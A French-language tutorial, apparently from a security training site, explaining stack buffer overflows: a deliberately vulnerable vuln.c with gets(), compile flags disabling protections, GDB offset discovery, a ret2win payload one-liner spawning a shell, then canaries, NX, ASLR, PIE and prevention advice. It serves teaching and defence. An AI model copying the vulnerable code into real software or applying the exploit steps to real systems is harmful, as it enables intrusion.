Un buffer overflow, ou dépassement de tampon, survient quand un programme écrit dans une zone mémoire plus de données qu'elle ne peut en contenir, et le surplus atterrit sur ce qui se trouvait juste à côté. Sur la pile, ce voisin est en général l'adresse vers laquelle le processeur sautera à la fin de la fonction en cours. Écrasez-la avec une adresse de votre choix et vous cessez d'être un utilisateur du programme pour devenir celui qui le dirige. Ce guide déroule l'attaque de bout en bout sur un binaire que vous pouvez compiler vous-même, puis présente les quatre protections qui l'ont rendue difficile. Le chapitre buffer overflow de HackerDNA reprend le même exercice avec un débogueur ouvert, dans un onglet de navigateur plutôt que dans une machine virtuelle.
La technique remonte au ver Morris de 1988, et c'est en général là que l'on s'arrête en concluant que le problème est réglé. Il ne l'est pas. Sept entrées de type buffer overflow ont été ajoutées au catalogue des vulnérabilités activement exploitées de la CISA entre janvier et août 2026, et la plus récente concernait une faille vieille de cinq ans dans un firmware de routeur grand public.
TL;DR : un buffer overflow écrase la mémoire située après la fin d'un tampon, et sur la pile cette mémoire contient l'adresse de retour sauvegardée. Envoyez 72 octets de remplissage suivis d'une adresse de 8 octets dans un tampon de 64 octets et le programme retourne exactement où vous le pointez. Les compilations modernes bloquent la version naïve avec les canaris de pile, la mémoire non exécutable, l'ASLR et le code indépendant de la position, ce qui explique pourquoi l'exploitation actuelle consiste à réutiliser du code déjà présent dans le binaire plutôt qu'à en injecter du nouveau.
Qu'est-ce qu'un buffer overflow ?
Un buffer overflow est un bug de corruption mémoire dans lequel un programme écrit des données au-delà de la fin d'un tampon de taille fixe, écrasant la mémoire adjacente. Lorsque cette mémoire contient des données de contrôle comme l'adresse de retour d'une fonction, celui qui maîtrise l'entrée maîtrise l'endroit où le programme va s'exécuter ensuite.
Deux conditions doivent être réunies. Le programme a besoin d'un tampon de taille fixe, et d'une opération de copie qui ne vérifie pas la quantité de données qu'elle copie. Le C et le C++ fournissent les deux par défaut : char user[64] alloue exactement 64 octets, et gets(), strcpy(), sprintf() ou memcpy() avec une longueur influencée par l'attaquant écriront volontiers au-delà. Il n'existe aucune vérification de bornes tant que le développeur n'en écrit pas une.
C'est pourquoi cette classe de vulnérabilité est indissociable des langages qui la permettent. Java, Go, Rust, Python et C# insèrent des vérifications de bornes ou suivent la propriété de la mémoire, et une écriture hors limites lève une exception au lieu de corrompre silencieusement la variable suivante. Les buffer overflows vivent là où vivent le C et le C++ : noyaux, démons réseau, analyseurs de formats multimédias, firmwares, pilotes, et ces milliards d'équipements embarqués livrés avec un compilateur de 2014 et qui ne seront jamais mis à jour.
Le vocabulaire prête à confusion, voici donc la carte. Buffer overflow désigne le comportement général. Stack overflow signifie que le tampon était une variable locale. Heap overflow signifie qu'il venait de malloc(). Écriture hors limites est la classe de faiblesse formelle, cataloguée sous CWE-787, cinquième du CWE Top 25 2025, publié en décembre de la même année. Le dépassement de tampon sur la pile possède son propre identifiant, CWE-121, au rang 14 de la même liste.
Comment fonctionne réellement un dépassement de tampon sur la pile
Tout dans cette attaque découle d'une décision de conception prise il y a des décennies : sur x86-64, l'adresse de retour est stockée sur la même pile que les variables locales, et elle se trouve au-dessus d'elles.
À quoi ressemble une frame de pile
Appeler une fonction empile l'adresse à laquelle reprendre une fois qu'elle aura rendu la main. La fonction met ensuite en place sa propre frame et alloue ses variables locales sous cette adresse sauvegardée. Une frame contenant un tampon de 64 octets ressemble à ceci, de l'adresse mémoire basse vers la haute :
char user[64], le tampon, 64 octetsRBPsauvegardé, le pointeur de frame de l'appelant, 8 octetsRIPsauvegardé, l'adresse de retour, 8 octets
Écrire dans user progresse vers le haut de cette liste. Les 64 premiers octets remplissent le tampon. Les octets 65 à 72 tombent sur le pointeur de frame sauvegardé. Les octets 73 à 80 tombent sur l'adresse de retour. Cette arithmétique, 64 plus 8 égale 72, donne le décalage que vous cherchez systématiquement.
Ce qui se passe à l'instruction ret
L'instruction ret fait une seule chose : elle dépile huit octets du sommet de la pile vers le pointeur d'instruction et saute à cette adresse. Elle ne les valide pas. Si ces huit octets valent AAAAAAAA, le processeur plante en tentant d'exécuter à 0x4141414141414141 et vous obtenez une erreur de segmentation. S'il s'agit de l'adresse d'une vraie fonction, le processeur l'appelle, et le programme se comporte comme s'il avait été écrit pour cela. C'est toute la différence entre un plantage et un exploit.
Un exemple de buffer overflow que vous pouvez lancer aujourd'hui
Voici un programme contenant le bug. Enregistrez-le sous vuln.c :
#include <stdio.h>
#include <stdlib.h>
void win(void) {
puts("[+] win() reached - spawning shell");
system("/bin/sh");
}
void login(void) {
char user[64];
printf("Username: ");
gets(user);
printf("Access denied for %s\n", user);
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
login();
return 0;
}
win() n'est jamais appelée. Elle existe dans le binaire et rien ne l'atteint, d'où le nom de ce motif : ret2win. Compilez avec les protections modernes désactivées, car l'objectif ici est de voir le mécanisme avant de voir ce qui le contre :
$ gcc -fno-stack-protector -z execstack -no-pie -g -o vuln vuln.c
/usr/bin/ld: warning: the `gets' function is dangerous and should not be used.
Cet avertissement de l'éditeur de liens n'est pas une formalité. gets() n'a aucun usage sûr, ce qui explique pourquoi le comité de normalisation du C l'a purement et simplement retirée en C11 au lieu de la déprécier davantage. Quatre étapes vous mènent du code source au shell.
- Provoquez le plantage. Envoyez au programme un motif long et non répétitif plutôt qu'une suite plate de A, afin que les octets qui atteignent l'adresse de retour vous disent d'où ils viennent.
pwntoolsen génère un aveccyclic(120). - Lisez le décalage sur la pile. Lancez le programme sous GDB et regardez ce qui se trouve au sommet de la pile au moment du plantage :
Décodés en little-endian, ces huit octets donnent$ gdb -q -batch -ex "run < pattern.txt" -ex "x/1gx \$rsp" ./vuln Program received signal SIGSEGV, Segmentation fault. 0x000000000040122d in login () at vuln.c:14 0x7fffffffcd88: 0x6161617461616173saaataaa. Cherchez cette sous-chaîne dans le motif : elle commence à l'indice 72. Aucune supposition, aucune recherche dichotomique, une seule exécution. - Récupérez l'adresse cible.
nm vuln | grep -w winrenvoie00000000004011b6 T win. Comme le binaire a été construit avec-no-pie, cette adresse est fixe à chaque exécution. - Construisez la charge utile. Soixante-douze octets de remplissage, puis l'adresse de
win()encodée en petit-boutiste :$ python3 -c "import sys,struct; sys.stdout.buffer.write(b'A'*72 + struct.pack('<Q', 0x4011b6))" > payload $ (cat payload; echo; cat) | ./vuln Username: Access denied for AAAAAAAA... [+] win() reached - spawning shell id uid=0(root) gid=0(root) groups=0(root)
En pratique, deux pièges vous attendent sur ce programme précis, et il vaut mieux les connaître avant qu'ils ne vous coûtent un après-midi. L'alignement de pile d'abord : system() dans la glibc moderne utilise des instructions SSE qui plantent si RSP n'est pas aligné sur 16 octets au moment de l'appel, donc si win() atteint system() et meurt là, ajoutez un gadget ret nu devant votre charge utile pour décaler la pile de huit octets. Ensuite vient la mise en tampon de l'entrée standard. gets() peut avaler tout le tube dans son tampon stdio, si bien que votre nouveau shell lit une fin de fichier et se termine avant que vous ne tapiez quoi que ce soit : c'est la construction (cat payload; echo; cat) ci-dessus qui garde le tube ouvert.
Une précision sur cette ligne uid=0(root), car c'est la lecture erronée la plus fréquente d'une démonstration ret2win. Elle a été produite dans un conteneur jetable dont le seul utilisateur est root. Un buffer overflow vous donne les privilèges que le processus possédait déjà. C'est une primitive d'exécution, pas une technique d'escalade de privilèges, et les deux ne se combinent que si le binaire vulnérable est setuid ou tourne sous un compte de service.
Pile, tas et dépassements d'entiers
L'exemple ci-dessus est un dépassement sur la pile, là où tout le monde commence parce que les données de contrôle se trouvent juste à côté du tampon. Deux autres familles reviennent constamment dans les vrais bulletins de sécurité.
| Type | Où vit le tampon | Ce qui est corrompu | Difficulté typique |
|---|---|---|---|
| Dépassement sur la pile | Variable locale d'une frame de fonction | Adresse de retour sauvegardée, pointeur de frame, autres locales | La plus faible |
| Dépassement sur le tas | Mémoire issue de malloc() | Métadonnées de l'allocateur, pointeurs de fonction d'objets voisins | Plus élevée |
| Dépassement d'entier menant à un dépassement de tampon | L'un ou l'autre | Le calcul de taille lui-même, qui sous-dimensionne ensuite l'allocation | Variable |
C'est vers le tas que les bugs intéressants se sont déplacés. Il n'y a pas d'adresse de retour à côté d'un tampon du tas, donc l'exploitation passe par la corruption de la comptabilité de l'allocateur ou du pointeur de fonction d'un objet voisin, ce qui suppose de façonner d'abord la disposition du tas. En contrepartie, les bugs de tas survivent aux protections qui ont tué l'exploitation facile de la pile. Use After Free, CWE-416, occupe le septième rang du CWE Top 25 2025, deux places au-dessus de la faiblesse classique de copie de tampon.
Le cas des entiers se cache bien lors des revues de code. Une fonction calcule malloc(count * size), un attaquant fournit un count assez grand pour faire déborder la multiplication, l'allocation revient bien plus petite que prévu, et la copie qui suit déborde un tampon qui paraissait correctement dimensionné trois lignes plus haut. La CVE-2021-3156 de sudo en était une cousine : une erreur de décalage d'une unité (off-by-one) dans le traitement des séquences d'échappement par antislash produisait un dépassement sur le tas donnant root sur chaque version de sudo publiée entre juillet 2011 et janvier 2021, soit une décennie de bug logé dans le binaire setuid le plus audité de Linux.
Pourquoi les buffer overflows comptent encore en 2026
La réponse honnête et brève : ils comptent moins qu'en 2005 et plus que ne le supposent la plupart des défenseurs. Les chiffres soutiennent les deux moitiés de cette phrase.
Les bugs de sûreté mémoire restent la classe de vulnérabilité dominante dans les grandes bases de code C et C++. Matt Miller, de Microsoft, indiquait à BlueHat en 2019 qu'environ 70 pour cent des CVE corrigées par l'entreprise sur les douze années précédentes relevaient de la sûreté mémoire, et le projet Chromium rapporte le même chiffre de 70 pour cent pour ses bugs de sécurité de sévérité élevée, mesuré sur 912 d'entre eux depuis 2015.
Ce qui a changé, c'est quels dépassements sont réellement exploités, et le catalogue des vulnérabilités activement exploitées de la CISA y répond mieux que n'importe quel rapport d'éditeur, puisque chaque entrée correspond à une faille utilisée contre une cible réelle. Sur les 1 662 entrées du catalogue au 10 août 2026, 84 sont décrites comme des buffer overflows, soit environ cinq pour cent. Trier ces 84 par date d'ajout montre où la classe a atterri :
- Équipements réseau et pare-feux. CVE-2025-53521, un dépassement sur la pile dans F5 BIG-IP APM menant à l'exécution de code à distance, a été ajoutée en mars 2026. Les équipements de bordure analysent du trafic non fiable en C avant toute authentification, ce qui est la pire combinaison possible.
- Firmwares grand public et embarqués. CVE-2021-27137, un dépassement sur la pile dans le gestionnaire UPnP de DD-WRT accessible sans authentification, a été ajoutée en juillet 2026. La CVE a cinq ans. Les firmwares de routeurs ne sont pas mis à jour, alors le bug attend, tout simplement.
- Systèmes d'exploitation mobiles et de bureau. Trois problèmes distincts de dépassement de tampon chez Apple ont rejoint le catalogue entre février et mars 2026, tous dans des chemins de code traitant des médias ou du trafic réseau fournis par l'attaquant.
Le schéma est constant. Personne n'exploite un dépassement sur la pile dans une application serveur Linux fraîchement compilée, parce que les réglages par défaut du compilateur rendent l'opération non rentable. Les cibles sont les parties du parc compilées il y a dix ans, tournant sur des architectures aux protections plus faibles, sans aucun chemin de mise à jour. Si vous choisissez où regarder pendant une mission réseau, voilà la liste courte.
Les quatre protections qui ont rendu les buffer overflows difficiles
Recompilez exactement le même vuln.c que plus haut, sans aucune option et l'attaque s'effondre immédiatement :
$ gcc -o vuln_hardened vuln.c
$ python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + b'\xb6\x11\x40\x00\x00\x00\x00\x00')" | ./vuln_hardened
Username: Access denied for AAAAAAAA...
*** stack smashing detected ***: terminated
Aborted
Rien n'a changé dans le code source. Quatre protections distinctes, toutes activées par défaut dans le gcc 13.3 d'Ubuntu, font le travail.
- Canaris de pile. Le compilateur place une valeur aléatoire entre les tampons locaux et l'adresse de retour sauvegardée, puis vérifie qu'elle est intacte avant de rendre la main. Écraser l'adresse de retour implique nécessairement d'écraser le canari d'abord, ce qui produit l'abandon
stack smashing detectedci-dessus. Vérifiez sa présence avecnm binaire | grep stack_chk. - Mémoire non exécutable, NX ou DEP. Les pages de pile sont mappées en écriture mais pas en exécution, donc un shellcode écrit dans un tampon plante quand le processeur tente de l'exécuter.
readelf -lW binaire | grep GNU_STACKafficheRWsur la version durcie etRWEsur celle construite avec-z execstack. À elle seule, cette évolution a mis à la retraite toute une génération de tutoriels qui enseignent l'injection de shellcode sur la pile. - ASLR. Le noyau randomise l'emplacement de la pile, du tas et des bibliothèques à chaque exécution, donc une adresse codée en dur est fausse au lancement suivant. Linux l'active par défaut depuis 2005, via
/proc/sys/kernel/randomize_va_space. - Exécutables indépendants de la position. L'ASLR ne randomise le code du programme lui-même que si le binaire est construit en PIE. Vérifiez avec
readelf -hW binaire | grep Type:DYNsignifie indépendant de la position,EXECsignifie que les adresses sont fixes et que0x4011b6reste valide à chaque exécution. C'est pour cela que la démonstration utilisait-no-pie.
Les attaquants se sont adaptés plutôt que d'abandonner. Les piles non exécutables ont poussé l'exploitation vers la programmation orientée retour, qui enchaîne de courtes séquences d'instructions déjà présentes dans le binaire et n'injecte jamais de nouveau code. L'ASLR l'a poussée vers la fuite préalable des vraies adresses de la cible, la charge utile n'étant construite qu'ensuite. Les deux sont traitées dans le cours d'exploitation de binaires, et les deux demandent bien plus de travail que les quatre étapes ci-dessus, ce qui est précisément l'intérêt d'une protection.
À vérifier en premier, à chaque fois : lancez checksec --file=binaire avant d'écrire le moindre octet de charge utile. L'état du canari, de NX, de PIE et de RELRO détermine quelles techniques sont ne serait-ce qu'envisageables, et cinq secondes de lecture évitent une heure passée à construire un exploit contre une protection que la cible n'a pas.
Comment prévenir les buffer overflows
Comment prévenir un buffer overflow ? Utilisez un langage à sûreté mémoire pour le code neuf, remplacez les fonctions de copie non bornées par des équivalents à longueur vérifiée dans le C et le C++ existants, gardez toutes les options de durcissement du compilateur actives, et menez un fuzzing continu avec un sanitizer pour que les dépassements apparaissent en test plutôt qu'en production.
Par ordre de risque supprimé :
- Écrivez les nouveaux composants dans un langage à sûreté mémoire. Cela élimine la classe entière au lieu de l'atténuer. La CISA, la NSA, le FBI et des agences partenaires d'Australie, du Canada, de Nouvelle-Zélande et du Royaume-Uni ont publié The Case for Memory Safe Roadmaps en décembre 2023 pour inciter les fabricants à publier exactement ce type de feuille de route, et la NSA a suivi avec des recommandations dédiées aux langages à sûreté mémoire en juin 2025. Réécrire une base de code C d'un million de lignes est rarement réaliste. Écrire le nouveau parseur en Rust l'est généralement.
- Supprimez les fonctions dangereuses.
gets()n'a aucun usage sûr et a été retirée du C11.strcpy(),strcat()etsprintf()écrivent jusqu'à rencontrer un octet nul sans la moindre idée de la taille de la destination. Leurs remplaçantes bornées,snprintf()etstrlcpy(), exigent un argument de taille, ce qui force le développeur à y réfléchir une fois. - Activez le compilateur.
-D_FORTIFY_SOURCE=3,-fstack-protector-strong,-fstack-clash-protection,-Wl,-z,relro,-z,nowet PIE ne coûtent presque rien à l'exécution et ferment chacun une technique. Ajoutez-fcf-protectionsur x86-64, ou l'identification des cibles de branchement sur ARM moderne, pour que l'intégrité du flot de contrôle assurée par le matériel rejette les sauts vers des adresses qui ne sont pas des points d'entrée de fonction valides. - Fuzzez en continu avec les sanitizers actifs. AddressSanitizer attrape les écritures hors limites au moment où elles se produisent, et non quand la mémoire corrompue est relue, ce qui transforme un bug fantôme en trace de pile. Associez
-fsanitize=addressà libFuzzer ou AFL++ et pointez-les sur chaque fonction qui analyse une entrée venue de l'extérieur de votre périmètre de confiance. - Corrigez d'abord les équipements en bordure de réseau. Les données du catalogue de la CISA ci-dessus sont sans ambiguïté sur le lieu réel de l'exploitation. Concentrateurs VPN, pare-feux, répartiteurs de charge et routeurs méritent une fenêtre de correctif plus courte que les serveurs applicatifs internes.
Une mise en garde sur les options du compilateur. Elles augmentent le coût de l'exploitation, elles ne suppriment pas le bug, et un attaquant disposant d'une fuite d'information les traverse toutes. Traitez les protections comme du temps gagné avant le correctif, pas comme un correctif.
Questions fréquentes
Quelle est la différence entre un buffer overflow et un stack overflow ?
Un buffer overflow consiste à écrire au-delà de la fin de n'importe quel tampon de taille fixe. Un stack overflow, au sens de l'exploitation, en est un où le tampon était une variable locale d'une frame de fonction, ce qui met l'adresse de retour sauvegardée à portée. Source de confusion, la même expression désigne aussi l'épuisement de la pile par récursion incontrôlée, qui est un plantage et non une corruption mémoire.
Les buffer overflows sont-ils encore exploitables en 2026 ?
Oui, mais rarement sous leur forme scolaire. Les canaris de pile, la mémoire non exécutable et l'ASLR font échouer l'attaque classique d'écrasement et de saut sur tout binaire compilé récemment. L'exploitation s'est déplacée vers la corruption du tas, les fuites d'information combinées à la programmation orientée retour, et les cibles embarquées livrées sans ces protections. La CISA a ajouté sept nouvelles entrées de type buffer overflow à son catalogue des vulnérabilités activement exploitées sur les huit premiers mois de 2026.
Quels langages de programmation sont vulnérables aux buffer overflows ?
Principalement le C, le C++ et l'assembleur, ainsi que tout langage qui les appelle via une interface de fonctions étrangères (FFI). Java, C#, Python, Go, JavaScript et le Rust sûr effectuent des vérifications de bornes et lèvent une exception ou paniquent au lieu de corrompre la mémoire adjacente. Les blocs unsafe de Rust et les modules d'extension C de Python sont les échappatoires habituelles à auditer.
Faut-il connaître l'assembleur pour exploiter un buffer overflow ?
Il faut savoir le lire, pas l'écrire. Pour un dépassement sur la pile, sachez reconnaître les prologues et épilogues de fonction, suivre un call et un ret, et savoir ce que contiennent RSP, RBP et RIP. Cela représente à peu près un week-end d'étude. La programmation orientée retour relève la barre puisque vous sélectionnez des gadgets par leurs séquences d'instructions, mais des outils comme ropper font la recherche.
Considérations légales et éthiques
Rappel essentiel : compilez et attaquez des binaires que vous avez écrits ou qui ont été conçus pour l'entraînement. Envoyer une entrée forgée à un logiciel qui ne vous appartient pas peut constituer un accès non autorisé au titre de la loi Godfrain en France, du Computer Fraud and Abuse Act aux États-Unis, du Computer Misuse Act au Royaume-Uni et de textes équivalents ailleurs. De plus, une tentative de corruption mémoire ratée fait généralement planter le service, ce qui transforme une curiosité en interruption de production.
Deux points sont propres à cette classe de bug. Le fuzzing n'est pas passif : pointer un fuzzer sur un service en production revient à provoquer des plantages en continu, donc cela se pratique sur votre propre copie de la cible et à l'intérieur d'une fenêtre définie par écrit. Et si vous découvrez un vrai dépassement dans un logiciel qui ne vous appartient pas, la fiche de l'OWASP sur les attaques par dépassement de tampon constitue une référence solide dans un rapport de divulgation, accompagnée de l'entrée qui provoque le plantage, de la version affectée, et de rien de plus qu'il n'en faut pour établir la découverte.
La divulgation coordonnée compte aussi davantage ici qu'en sécurité web. Un exploit de corruption mémoire fonctionnel pour un démon réseau est une capacité sérieuse, et le publier avant l'existence d'un correctif met en danger chaque déploiement non corrigé, ce qu'une preuve de concept XSS ne fait pas.
Vos prochaines étapes avec les buffer overflows
Le mécanisme d'un buffer overflow tient dans la tête : l'entrée dépasse la fin d'un tampon, atteint l'adresse de retour sauvegardée, et l'instruction ret saute là où vous l'avez indiqué. Les chaînes ROP, les bugs de chaîne de format et le façonnage du tas reposent tous sur cette seule idée, et c'est pourquoi il vaut mieux la pratiquer une fois à la main que la lire cinq fois.
Ignorez les tutoriels qui enseignent encore le x86 32 bits avec du shellcode sur la pile et l'ASLR désactivé. Cette approche est morte avec NX, et rien que les noms de registres vous embrouilleront face à un vrai binaire 64 bits. Compilez le vuln.c ci-dessus, obtenez votre propre erreur de segmentation cette semaine, et installez pwndbg ou GEF au passage : une vue de pile qui étiquette l'adresse de retour en couleur fait gagner plus de temps que n'importe quel autre choix d'outillage ici.
Ensuite, Binary Secrets sert d'échauffement d'une soirée à la lecture de structures de fichiers, et le lab Hack the Box se termine par une chaîne ROP ARM64 construite avec pwntools et ropper. Le cours d'exploitation de binaires couvre le même terrain en dix chapitres, de la disposition de la pile au ROP, aux chaînes de format, à la corruption du tas et au shellcode, avec un chapitre sur les protections et la conduite à tenir quand la voie facile se referme. Tout tourne dans le navigateur, et l'offre gratuite ne demande pas de carte bancaire.